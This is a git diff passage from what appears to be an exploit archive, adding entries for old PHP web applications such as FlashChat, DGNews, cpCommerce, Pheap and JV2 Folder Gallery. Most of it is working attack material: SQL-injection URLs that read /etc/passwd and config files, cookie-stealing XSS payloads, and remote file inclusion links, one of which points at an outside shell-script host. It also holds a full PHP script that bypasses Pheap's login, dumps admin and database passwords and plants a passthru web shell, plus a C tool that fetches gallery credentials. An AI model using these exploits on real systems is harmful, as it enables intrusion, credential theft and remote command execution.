+This issue affects FlashChat 4.7.9; other versions may also be vulnerable.
+
+Further reports suggest that the vulnerable parameter is defined with static content. This BID will be updated pending further investigation. 
+
+http://www.example.com/chat/incclasses/connection.php?f_cms=[Shell-Attack]
+http://www.example.com/chat/inc/common.php?f_cms=[Shell-Attack]
+
+
diff --git a/platforms/php/webapps/30094.txt b/platforms/php/webapps/30094.txt
new file mode 100755
index 000000000..0e0f16200
--- /dev/null
+++ b/platforms/php/webapps/30094.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24200/info
+
+DGNews is prone to a cross-site scripting vulnerability.
+
+Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.
+
+This issue affects DGNews 2.1; other versions may also be affected. 
+
+http://www.example.com/footer.php?copyright=[xss] 
\ No newline at end of file
diff --git a/platforms/php/webapps/30095.txt b/platforms/php/webapps/30095.txt
new file mode 100755
index 000000000..6053ba3ab
--- /dev/null
+++ b/platforms/php/webapps/30095.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24201/info
+
+DGNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
+
+Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
+
+DGNews 2.1 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/news.php?go=newslist&catid=' UNION SELECT 1,`site_title` FROM `news_config` WHERE '1 
\ No newline at end of file
diff --git a/platforms/php/webapps/30097.txt b/platforms/php/webapps/30097.txt
new file mode 100755
index 000000000..40a5fd75f
--- /dev/null
+++ b/platforms/php/webapps/30097.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24210/info
+
+Uebimiau is prone to multiple input-validation vulnerabilities, including cross-site scripting issues and an information-disclosure issue, because the application fails to properly sanitize user-supplied input.
+
+Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to gain access to information that could aid in further attacks.
+
+Uebimiau 2.7.2 and 2.7.10 are vulnerable; other versions may also be affected. 
+
+http://www.example.org/demo/pop3/error.php?selected_theme=%3Cscript%3Ealert(document.cookie)%3C/script%3E
\ No newline at end of file
diff --git a/platforms/php/webapps/30098.txt b/platforms/php/webapps/30098.txt
new file mode 100755
index 000000000..2afb18d93
--- /dev/null
+++ b/platforms/php/webapps/30098.txt
@@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/24210/info
+ 
+Uebimiau is prone to multiple input-validation vulnerabilities, including cross-site scripting issues and an information-disclosure issue, because the application fails to properly sanitize user-supplied input.
+ 
+Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to gain access to information that could aid in further attacks.
+ 
+Uebimiau 2.7.2 and 2.7.10 are vulnerable; other versions may also be affected. 
+
+http://www.example.org/demo/pop3/error.php?smarty=test 
+http://www.example.org/demo/pop3/error.php?selected_theme=test
\ No newline at end of file
diff --git a/platforms/php/webapps/30099.txt b/platforms/php/webapps/30099.txt
new file mode 100755
index 000000000..254031760
--- /dev/null
+++ b/platforms/php/webapps/30099.txt
@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/24212/info
+
+DGNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
+
+Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
+
+DGNews 2.1 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7%20from%2
+0news_comment
+http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E657
+7732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment 
\ No newline at end of file
diff --git a/platforms/php/webapps/30101.txt b/platforms/php/webapps/30101.txt
new file mode 100755
index 000000000..ffd89f7fc
--- /dev/null
+++ b/platforms/php/webapps/30101.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/24223/info
+
+cpCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+cpCommerce 1.1.0 is reported vulnerable; other versions may also be affected. 
+
+http://www.example.com/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union/**/select/**/pass,LOAD_FILE(0x2F6574632F706173737764),0/**/from/**/cpAccounts/* 
\ No newline at end of file
diff --git a/platforms/php/webapps/30102.php b/platforms/php/webapps/30102.php
new file mode 100755
index 000000000..eb26de214
--- /dev/null
+++ b/platforms/php/webapps/30102.php
@@ -0,0 +1,232 @@
+source: http://www.securityfocus.com/bid/24227/info
+
+Pheap is prone to an authentication-bypass vulnerability due to a design error.
+
+An attacker can exploit this vulnerability to bypass authentication and execute arbitrary commands in the context of the site administrator. 
+
+#!/usr/bin/php -q -d short_open_tag=on
+<?php
+
+/*
+
+Explanation:
+
+The user verification routine used in most of the files is:
+
+#####
+#
+#   include("lib/config.php");
+#	if ($_COOKIE['pheap_login'] != $username){
+#	header("Location: login.php");
+#	} else { [CONTINUE EXECUTING CODE] }
+#
+#####
+
+So basically it's saying "If the value within the cookie pheap_login is not the same value
+that is assigned to the $username variable withing lib/config.php then you have to be redirected
+to the login page".
+
+So if we know the admin's username we can access any page that uses this authentication method. Also, 
+we can retrieve all credentials in clear-text. ;)
+
+*/
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout",5);
+
+if ($argc<5) {
+print "-------------------------------------------------------------------------\r\n";
+print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
+print "-------------------------------------------------------------------------\r\n";
+print "Usage: w4ck1ng_pheap.php [OPTION] [HOST] [PATH] [USER] ([COMMAND])\r\n\r\n";
+print "[OPTION]  = 0 = Credentials Disclosures\r\n";
+print "            1 = Remote Code Execution\r\n";
+print "[HOST] 	  = Target server's hostname or ip address\r\n";
+print "[PATH] 	  = Path where Pheap is located\r\n";
+print "[USER] 	  = Admin's username\r\n";
+print "[COMMAND] = Command to execute\r\n\r\n";
+print "e.g. w4ck1ng_pheap.php 0 victim.com /pheap/ admin\r\n";
+print "     w4ck1ng_pheap.php 1 victim.com /pheap/ admin \"ls -lia\"\r\n";
+print "-------------------------------------------------------------------------\r\n";
+print "            		 http://www.w4ck1ng.com\r\n";
+print "            		        ...Silentz\r\n";
+print "-------------------------------------------------------------------------\r\n";
+die;
+}
+
+// Props to rgod for the following functions
+
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+function sendpacketii($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.$host.':'.$port; die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$proxy);
+    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+}
+
+function make_seed()
+{
+   list($usec, $sec) = explode(' ', microtime());
+   return (float) $sec + ((float) $usec * 100000);
+}
+
+$exploit = $argv[1];
+$host = $argv[2];
+$path = $argv[3];
+$user = $argv[4];
+$cmd  = $argv[5];
+$cmd  = urlencode($cmd);
+$port=80;$proxy="";
+
+if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+
+if ($exploit==0){
+
+print "-------------------------------------------------------------------------\r\n";
+print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
+print "-------------------------------------------------------------------------\r\n";
+
+    $packet ="GET " . $path . "settings.php HTTP/1.1\r\n";
+    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
+    $packet.="Host: ".$host."\r\n";
+    $packet.="Content-Length: ".strlen($data)."\r\n";
+    $packet.="Cookie: pheap_login=" . $user . "\r\n";
+    $packet.="Connection: Close\r\n\r\n";
+
+    sendpacketii($packet);
+
+    if (strstr($html,"This is the settings panel")){}
+    else{echo "...Failed!\r\n"; exit();}
+
+    $temp=explode("name=\"user_name\" class=\"ieleft\" value=\"",$html);
+    $temp2=explode("\" /> <strong>:Username",$temp[1]);
+    $ret_user=$temp2[0];
+
+    echo "[+] Admin User: " . $ret_user . "\r\n";
+
+    $temp=explode("name=\"password\" class=\"ieleft\" value=\"",$html);
+    $temp2=explode("\" /> <strong>:Password",$temp[1]);
+    $ret_user=$temp2[0];
+
+    echo "[+] Admin Pass: " . $ret_user . "\r\n";
+
+    $temp=explode("name=\"dbhost\" class=\"ieleft\" id=\"dbhost\" value=\"",$html);
+    $temp2=explode("\" /> <strong>:Database Host",$temp[1]);
+    $ret_user=$temp2[0];
+
+    echo "[+] Database Host: " . $ret_user . "\r\n";
+
+    $temp=explode("name=\"dbuser\" class=\"ieleft\" id=\"dbuser\" value=\"",$html);
+    $temp2=explode("\" /> <strong>:Database Username",$temp[1]);
+    $ret_user=$temp2[0];
+
+    echo "[+] Database User: " . $ret_user . "\r\n";
+
+    $temp=explode("name=\"dbpass\" class=\"ieleft\" id=\"dbpass\" value=\"",$html);
+    $temp2=explode("\" /> <strong>:Database Password",$temp[1]);
+    $ret_user=$temp2[0];
+
+    echo "[+] Database Pass: " . $ret_user . "\r\n";
+
+print "-------------------------------------------------------------------------\r\n";
+print "            		 http://www.w4ck1ng.com\r\n";
+print "            		        ...Silentz\r\n";
+print "-------------------------------------------------------------------------\r\n";
+}
+
+if($exploit==1){
+
+    $packet ="GET " . $path . "edit.php?em=file&filename=" . $path . "index.php HTTP/1.1\r\n";
+    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
+    $packet.="Host: ".$host."\r\n";
+    $packet.="Content-Length: ".strlen($data)."\r\n";
+    $packet.="Cookie: pheap_login=" . $user . "\r\n";
+    $packet.="Connection: Close\r\n\r\n";
+
+    sendpacketii($packet);
+
+    $temp=explode("name=\"filename\" value=\"",$html);
+    $temp2=explode("\">",$temp[1]);
+    $fullpath=$temp2[0];
+
+	$shell = '<?php echo "<font color=#FFFFFF>...Silentz</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=#FFFFFF>...Silentz</font>";?>';
+	$data = "mce_editor_0_styleSelect=";
+	$data .= "&mce_editor_0_formatSelect=";
+	$data .= "&mce_editor_0_fontNameSelect=";
+	$data .= "&mce_editor_0_fontSizeSelect=0";
+	$data .= "&mce_editor_0_zoomSelect=100%25";
+	$data .= "&content=" . urlencode($shell);
+	$data .= "&filename=" . urlencode($fullpath);
+	$data .= "&update_text.x=57";
+	$data .= "&update_text.y=15"; 
+
+    $packet ="POST " . $path . "edit.php?action=update_doc HTTP/1.1\r\n";
+    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
+    $packet.="Accept: */*\r\n";
+    $packet.="Host: ".$host."\r\n";
+    $packet.="Content-Length: ".strlen($data)."\r\n";
+    $packet.="Cookie: pheap_login=" . $user . "\r\n";
+    $packet.="Referer: http://" . $host.$path . "edit.php?em=file&filename=" . $path . "index.php\r\n";
+    $packet.="Connection: Close\r\n\r\n";
+    $packet.=$data;
+    sendpacketii($packet);
+
+    $packet ="GET " . $path . "index.php?cmd=" . $cmd . " HTTP/1.1\r\n";
+    $packet.="Host: ".$host."\r\n";
+    $packet.="Connection: Close\r\n\r\n";
+    sendpacketii($packet);
+
+    if (strstr($html,"...Silentz"))
+     {
+	print "-------------------------------------------------------------------------\r\n";
+	print "              Pheap 2.0 Admin Bypass/Remote Code Execution\r\n";
+	print "-------------------------------------------------------------------------\r\n";
+
+       $temp=explode("...Silentz</font>",$html);
+       $temp2=explode("<font color=#FFFFFF>",$temp[1]);
+       echo "===============================================================\r\n\r\n";
+       echo $temp2[0];
+       echo "\r\n===============================================================\r\n";
+       echo "\r\n[+] Shell...http://" .$host.$path. "index.php?cmd=[COMMAND]\r\n";
+
+	print "-------------------------------------------------------------------------\r\n";
+	print "            		 http://www.w4ck1ng.com\r\n";
+	print "            		        ...Silentz\r\n";
+	print "-------------------------------------------------------------------------\r\n";
+
+       die;
+     }
+}
+?>
\ No newline at end of file
diff --git a/platforms/php/webapps/30103.txt b/platforms/php/webapps/30103.txt
new file mode 100755
index 000000000..bef2cf338
--- /dev/null
+++ b/platforms/php/webapps/30103.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/24232/info
+
+Particle Blogger is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+http://www.example.com/apppath/archives.php?year=2007&month=' 
\ No newline at end of file
diff --git a/platforms/php/webapps/3106.txt b/platforms/php/webapps/3106.txt
index cd36219a6..8f9f9e1d7 100755
--- a/platforms/php/webapps/3106.txt
+++ b/platforms/php/webapps/3106.txt
@@ -1,31 +1,31 @@
-*******************************************************************************
-# Title   :  uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability
-# Author  :  ajann
-# Contact :  :(
-# S.Page  :  ...
-# Vendor  :  http://uniforum.biz/
-# $$      :  $99
-
-*******************************************************************************
-
-[[SQL]]]---------------------------------------------------------
-
-http://[target]/[path]//wbsearch.aspx (POST Method) [SQL]
-
-Example:
-
-//Fin the ->wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'--
-
-Login Admin:http://www.xxx.com/[path]/wbadmlog.aspx
-Username: Administrator
-Password: 000245
-
-[[/SQL]]
-
-"""""""""""""""""""""
-# ajann,Turkey
-# ...
-
-# Im not Hacker!
-
-# milw0rm.com [2007-01-09]
+*******************************************************************************
+# Title   :  uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability
+# Author  :  ajann
+# Contact :  :(
+# S.Page  :  ...
+# Vendor  :  http://uniforum.biz/
+# $$      :  $99
+
+*******************************************************************************
+
+[[SQL]]]---------------------------------------------------------
+
+http://[target]/[path]//wbsearch.aspx (POST Method) [SQL]
+
+Example:
+
+//Fin the ->wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'--
+
+Login Admin:http://www.xxx.com/[path]/wbadmlog.aspx
+Username: Administrator
+Password: 000245
+
+[[/SQL]]
+
+"""""""""""""""""""""
+# ajann,Turkey
+# ...
+
+# Im not Hacker!
+
+# milw0rm.com [2007-01-09]
diff --git a/platforms/php/webapps/3125.c b/platforms/php/webapps/3125.c
index 36963f7ad..3a2d49d87 100755
--- a/platforms/php/webapps/3125.c
+++ b/platforms/php/webapps/3125.c
@@ -1,105 +1,105 @@
-/*
-Script Name  :JV2 Folder Gallery
-Script site  :www.jv2.net
-
-Discovered by    :SaO 
-Exploit Coded by :PeTrO 
-Credits To soulreaver,Kuz3y
-
-Compile: Visual C++ or DevC++ 
-         
-
-*/
-
-#include <stdio.h>
-#include <string.h>
-#include <winsock.h>
-#pragma comment(lib,"ws2_32.lib")
-
-int main(int argc, char *argv[])
-{
-
-char gelenveri[1000];
-char sendCommand[1000];
-int i=0,sayac=0;
-
-WSADATA wsdata;
-SOCKET s;
-struct hostent *hn;
-struct sockaddr_in karsi_addr;
-WSAStartup(MAKEWORD(2,0),&wsdata);
-
-
-
-if(argc!=3)
-{ 
-     printf("\t**************************************************************\n"
-            "\t*                                                            *\n"
-            "\t*                   JV2 Folder Gallery                       *\n"                         
-            "\t*        Remote Admin uName and Pass. Exploit by PeTrO       *\n"
-            "\t*                                                            *\n"
-            "\t*    Usage:exploit targetSite [GalleryPath]                  *\n"
-            "\t*    Example:exploit localhost /gallery/                     *\n"
-            "\t*                                                            *\n"
-            "\t*    Discovered by    :SaO                                   *\n"
-            "\t*    Exploit Coded by :PeTrO                                 *\n"
-            "\t**************************************************************\n");
-     
-     exit(1);
-}else{
-      hn=gethostbyname(argv[1]);
-     }
-
-strcpy(sendCommand,"GET ");
-strcat(sendCommand,argv[2]);
-strcat(sendCommand,"download.php?file=config/gallerysetup.php \n\n");
-
-
-printf("\n[+]Connecting....");
-karsi_addr.sin_family = AF_INET;
-karsi_addr.sin_port = htons(80);
-karsi_addr.sin_addr =*((struct in_addr *)hn->h_addr);
-memset(&(karsi_addr.sin_zero),'\0', 8);
-if((s=socket(AF_INET, SOCK_STREAM, 0))==-1 ) //create a socket
-{
-    printf("\n[-]Socket Error");
-    exit(-1);
-}
-
-if((connect(s,(struct sockaddr *)&karsi_addr,sizeof(struct sockaddr)))==-1)//connect server
-{
-    printf("\n[-]Connecting Error");
-    exit(-1);
-}
-
-printf("\n[+]Sending command\n");
-if((send(s,sendCommand,strlen(sendCommand),0))==-1)
-{
-    printf("\n[-]Sending Error");
-    exit(-1);
-}
-
-if((recv(s,gelenveri,1000,0))==-1)
-{
-     printf("\n[-]Receive Error");
-     exit(-1);
-}
-
-FILE *fp;
-
-fp=fopen("data.txt","w");
-
-for(i=0;sayac!=2;i++)
-{
-   if(gelenveri[i]==59) sayac++;
-   
-   printf("%c",gelenveri[i]);
-}   
-   
-fprintf(fp,"%s",gelenveri);
-   
-WSACleanup();
-return 0;
-}
-
-// milw0rm.com [2007-01-14]
+/*
+Script Name  :JV2 Folder Gallery
+Script site  :www.jv2.net
+
+Discovered by    :SaO 
+Exploit Coded by :PeTrO 
+Credits To soulreaver,Kuz3y
+
+Compile: Visual C++ or DevC++ 
+         
+
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <winsock.h>
+#pragma comment(lib,"ws2_32.lib")
+
+int main(int argc, char *argv[])
+{
+
+char gelenveri[1000];
+char sendCommand[1000];
+int i=0,sayac=0;
+
+WSADATA wsdata;
+SOCKET s;
+struct hostent *hn;
+struct sockaddr_in karsi_addr;
+WSAStartup(MAKEWORD(2,0),&wsdata);
+
+
+
+if(argc!=3)
+{ 
+     printf("\t**************************************************************\n"
+            "\t*                                                            *\n"
+            "\t*                   JV2 Folder Gallery                       *\n"                         
+            "\t*        Remote Admin uName and Pass. Exploit by PeTrO       *\n"
+            "\t*                                                            *\n"
+            "\t*    Usage:exploit targetSite [GalleryPath]                  *\n"
+            "\t*    Example:exploit localhost /gallery/                     *\n"
+            "\t*                                                            *\n"
+            "\t*    Discovered by    :SaO                                   *\n"
+            "\t*    Exploit Coded by :PeTrO                                 *\n"
+            "\t**************************************************************\n");
+     
+     exit(1);
+}else{
+      hn=gethostbyname(argv[1]);
+     }
+
+strcpy(sendCommand,"GET ");
+strcat(sendCommand,argv[2]);
+strcat(sendCommand,"download.php?file=config/gallerysetup.php \n\n");
+
+
+printf("\n[+]Connecting....");
+karsi_addr.sin_family = AF_INET;
+karsi_addr.sin_port = htons(80);
+karsi_addr.sin_addr =*((struct in_addr *)hn->h_addr);
+memset(&(karsi_addr.sin_zero),'\0', 8);
+if((s=socket(AF_INET, SOCK_STREAM, 0))==-1 ) //create a socket
+{
+    printf("\n[-]Socket Error");
+    exit(-1);
+}
+
+if((connect(s,(struct sockaddr *)&karsi_addr,sizeof(struct sockaddr)))==-1)//connect server
+{
+    printf("\n[-]Connecting Error");
+    exit(-1);
+}
+
+printf("\n[+]Sending command\n");
+if((send(s,sendCommand,strlen(sendCommand),0))==-1)
+{
+    printf("\n[-]Sending Error");
+    exit(-1);
+}
+
+if((recv(s,gelenveri,1000,0))==-1)
+{
+     printf("\n[-]Receive Error");
+     exit(-1);
+}
+
+FILE *fp;
+
+fp=fopen("data.txt","w");
+
+for(i=0;sayac!=2;i++)
+{
+   if(gelenveri[i]==59) sayac++;
+   
+   printf("%c",gelenveri[i]);
+}   
+   
+fprintf(fp,"%s",gelenveri);
+   
+WSACleanup();
+return 0;
+}
+
+// milw0rm.com [2007-01-14]
diff --git a/platforms/php/webapps/3232.txt b/platforms/php/webapps/3232.txt
index 08d92c014..cfc892b2a 100755
--- a/platforms/php/webapps/3232.txt
+++ b/platforms/php/webapps/3232.txt
@@ -1,69 +1,69 @@
-#==============================================================================================
-#  Title: Michelle's L2J Dropcalc
-#  Version: <= v4
-#  Web Site: http://www.msknight.com/comps/lineage2/myl2jdropcalc.htm
-#
-#  Discovered By: Codebreak (codebreak1984@gmail.com | www.codebreak.tk)
-#
-#==============================================================================================
-#  SQL Injection: (*** Must be logged in, using your own username and Token ***)
-#
-#  http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=[SQL]
-#
-#  Example:
-#
-#   Obtain a player username:
-#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,account_name,null,null,null,null,null from characters where char_name = "[PLAYER]"
-#
-#   Obtain a password for that username (*** encrypted): 
-#    * only valid if loginserver and gameserver are in the same machine
-#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,password,null,null,null,null,null from accounts where login = "[USERNAME]"
-#
-#
-#  Bonus:
-#   
-#   Obtain MYSQL Password (encrypted):
-#    *only valid if the script is executed with root accounts.
-#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,Password,null,null,null,null,null from mysql.user where User = "root" and host="localhost"
-#
-#   *** L2J Encrypted Password can be decoded into a SHA1 hash. I've made a script to do that and it's included in this file
-#
-###############################################################################################
-
-
-<--------- Beginning of PHP Script --------->
-
-<style type="text/css">
-<!--
-.style3 {font-size: 24px}
-.style1 {color: #CC0000}
--->
-</style>
-<?
-echo("<title>L2J Pass Decoding - POC</title>");
-$pass = $_POST['decode']; 
-$unpass3 = base64_decode($pass);
-
-
-$array = unpack("H*", $unpass3);
-foreach ($array as $key => $value)
-$unpass2 = $array[1];
-
-
-echo("<span class=style1><b><u>Decoding Password</u></b></span>");
-
-echo("<br><b>Base 64:</b> $pass<br>");
-echo("<b>Unpacked:</b> $unpass3<br>");
-echo("<br><b>SHA1:</b> $unpass2<br>");
-?>
-<form name="form1" method="post" action="">
-  <div align="center">
-    <input type="text" name="decode">
-    <input type="submit" value="Decode">
-  </div>
-</form>
-<br><br><br><center><i>Created by Codebreak</center></i>
-
-<------------- End of Script ------------->
-
-# milw0rm.com [2007-01-31]
+#==============================================================================================
+#  Title: Michelle's L2J Dropcalc
+#  Version: <= v4
+#  Web Site: http://www.msknight.com/comps/lineage2/myl2jdropcalc.htm
+#
+#  Discovered By: Codebreak (codebreak1984@gmail.com | www.codebreak.tk)
+#
+#==============================================================================================
+#  SQL Injection: (*** Must be logged in, using your own username and Token ***)
+#
+#  http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=[SQL]
+#
+#  Example:
+#
+#   Obtain a player username:
+#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,account_name,null,null,null,null,null from characters where char_name = "[PLAYER]"
+#
+#   Obtain a password for that username (*** encrypted): 
+#    * only valid if loginserver and gameserver are in the same machine
+#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,password,null,null,null,null,null from accounts where login = "[USERNAME]"
+#
+#
+#  Bonus:
+#   
+#   Obtain MYSQL Password (encrypted):
+#    *only valid if the script is executed with root accounts.
+#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,Password,null,null,null,null,null from mysql.user where User = "root" and host="localhost"
+#
+#   *** L2J Encrypted Password can be decoded into a SHA1 hash. I've made a script to do that and it's included in this file
+#
+###############################################################################################
+
+
+<--------- Beginning of PHP Script --------->
+
+<style type="text/css">
+<!--
+.style3 {font-size: 24px}
+.style1 {color: #CC0000}
+-->
+</style>
+<?
+echo("<title>L2J Pass Decoding - POC</title>");
+$pass = $_POST['decode']; 
+$unpass3 = base64_decode($pass);
+
+
+$array = unpack("H*", $unpass3);
+foreach ($array as $key => $value)
+$unpass2 = $array[1];
+
+
+echo("<span class=style1><b><u>Decoding Password</u></b></span>");
+
+echo("<br><b>Base 64:</b> $pass<br>");
+echo("<b>Unpacked:</b> $unpass3<br>");
+echo("<br><b>SHA1:</b> $unpass2<br>");
+?>
+<form name="form1" method="post" action="">
+  <div align="center">
+    <input type="text" name="decode">
+    <input type="submit" value="Decode">
+  </div>
+</form>
+<br><br><br><center><i>Created by Codebreak</center></i>
+
+<------------- End of Script ------------->
+
+# milw0rm.com [2007-01-31]
diff --git a/platforms/php/webapps/3240.txt b/platforms/php/webapps/3240.txt
index d252371c5..6c58a56cf 100755
--- a/platforms/php/webapps/3240.txt
+++ b/platforms/php/webapps/3240.txt
@@ -1,15 +1,15 @@
-*******************************************************************************
-Greatz to:AsB-MaY TeAm & HaCk.eGy & To0oFa
-ScRiPt:-http://foldergallery.jv2.net/download.php?file=foldergallery_3.0.2
-Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>>
-********************************************************************************
-template.php:-
-<?php include $galleryfilesdir."/gallery_footer.php"; ?>
-********************************************************************************
-ExPlOiT:
-
-http://www.Site.com/[JV2 Folder Gallery]/gallery/theme/include_mode/template.php?galleryfilesdir=[Shell]
-
-********************************************************************************
-
-# milw0rm.com [2007-01-31]
+*******************************************************************************
+Greatz to:AsB-MaY TeAm & HaCk.eGy & To0oFa
+ScRiPt:-http://foldergallery.jv2.net/download.php?file=foldergallery_3.0.2
+Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>>
+********************************************************************************
+template.php:-
+<?php include $galleryfilesdir."/gallery_footer.php"; ?>
+********************************************************************************
+ExPlOiT:
+
+http://www.Site.com/[JV2 Folder Gallery]/gallery/theme/include_mode/template.php?galleryfilesdir=[Shell]
+
+********************************************************************************
+
+# milw0rm.com [2007-01-31]
diff --git a/platforms/php/webapps/3297.htm b/platforms/php/webapps/3297.htm
index e5b3ce228..a339592c8 100755
--- a/platforms/php/webapps/3297.htm
+++ b/platforms/php/webapps/3297.htm
@@ -1,79 +1,79 @@
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
-<title>AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit</title>
-
-<script language="JavaScript">
- 
-//'===============================================================================================
-//'[Script Name: AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit
-//'[Coded by   : ajann
-//'[Author     : ajann
-//'[Contact    : :(
-//'[S.Page     : http://contenator.ansatheus.de/
-//'[$$         : Free
-//'[Using      : Write Target after Submit Click
-//'===============================================================================================
-
-//'[[ERROR]]]------------------------------------------------------
-//'....
-//'..
-//'<?
-//'
-//'include($Root_To_Script.'class.readdir.php');
-//'include($Root_To_Script.'SETUP_VARS.php');
-//'
-//'?>
-//'....
-//'..
-//'[[ERROR]]]---------------------------------------------------------
-
-//# ajann,Turkey
-//# ...
-
-   
-
-     //Basic exploit,but any time : ( 
-   var path="/classes/"
-   var adres="/_admin/nav.php?" //File name
-   var acik ="Root_To_Script=" // Line 2-3
-   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
-  
-   function command(){
-       if (document.rfi.target1.value==""){
-          alert("Failed..");
-      return false;
-    }
-
-
-  
-  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
-  rfi.submit(); // Form Submit
-   }
-</script>
-
-</head>
-
-<body bgcolor="#000000">
-<center>
-
-<p><b><font face="Verdana" size="2" color="#008000">Site-Assistant <= v0990(paths[version])Remote File Include Exploit</font></b></p>
-
-<p></p>
-<form method="post" target="getting" name="rfi" onSubmit="command();">
-    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
-  </font><font color="#FF0000" size="2">&nbsp;</font></b>
-  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
-  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
-</form>
-<p><br>
-<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
-</p>
-
-<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
-</center>
-</body>
-
-</html>
-
-# milw0rm.com [2007-02-13]
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
+<title>AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit</title>
+
+<script language="JavaScript">
+ 
+//'===============================================================================================
+//'[Script Name: AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit
+//'[Coded by   : ajann
+//'[Author     : ajann
+//'[Contact    : :(
+//'[S.Page     : http://contenator.ansatheus.de/
+//'[$$         : Free
